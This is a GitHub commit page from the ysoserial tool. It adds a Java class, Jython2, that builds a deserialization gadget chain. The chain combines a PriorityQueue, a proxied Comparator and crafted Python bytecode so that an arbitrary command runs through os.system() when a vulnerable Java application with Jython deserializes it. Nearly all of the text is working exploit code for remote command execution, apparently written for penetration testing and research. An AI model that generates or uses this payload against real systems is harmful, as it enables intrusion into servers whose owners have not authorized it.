Add Jython2 gadget (#135)

This version of Jython2 executes a command through os.system(). Based on Jython1 from @pwntester & @cschneider4711

Co-authored-by: Chris Frohoff <[email protected]>
This commit is contained in:
Yorick Koster
2022-04-26 22:08:41 -07:00
committed by GitHub
co-authored by Chris Frohoff
parent 255ed9a648
commit 30ca17f787
2 changed files with 58 additions and 0 deletions
@@ -0,0 +1,57 @@
package ysoserial.payloads;
import org.python.core.*;
import java.math.BigInteger;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
/**
* Credits: Alvaro Munoz (@pwntester), Christian Schneider (@cschneider4711),
* and Yorick Koster (@ykoster)
*
* This version of Jython2 executes a command through os.system().
* Based on Jython1 from @pwntester & @cschneider4711
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({ "org.python:jython-standalone:2.5.2" })
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711, Authors.YKOSTER })
public class Jython2 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String code =
"740000" + // 0 LOAD_GLOBAL 0 (eval)
"640100" + // 3 LOAD_CONST 1 ("__import__('os', globals(), locals(), ['system'], 0).system('<command>')")
"830100" + // 6 CALL_FUNCTION 1
"01" + // 9 POP_TOP
"640000" + //10 LOAD_CONST 0 (None)
"53"; //13 RETURN_VALUE
PyObject[] consts = new PyObject[]{new PyString(""), new PyString("__import__('os', globals(), locals(), ['system'], 0).system('" + command.replace("'", "\\'") + "')")};
String[] names = new String[]{"eval"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jython2.class, args);
}
}
@@ -23,6 +23,7 @@ public @interface Authors {
String SCRISTALLI = "scristalli";
String HANYRAX = "hanyrax";
String EDOARDOVIGNATI = "EdoardoVignati";
String YKOSTER = "ykoster";
String MEIZJM3I = "meizjm3i";
String SCICCONE = "sciccone";
String ZEROTHOUGHTS = "zerothoughts";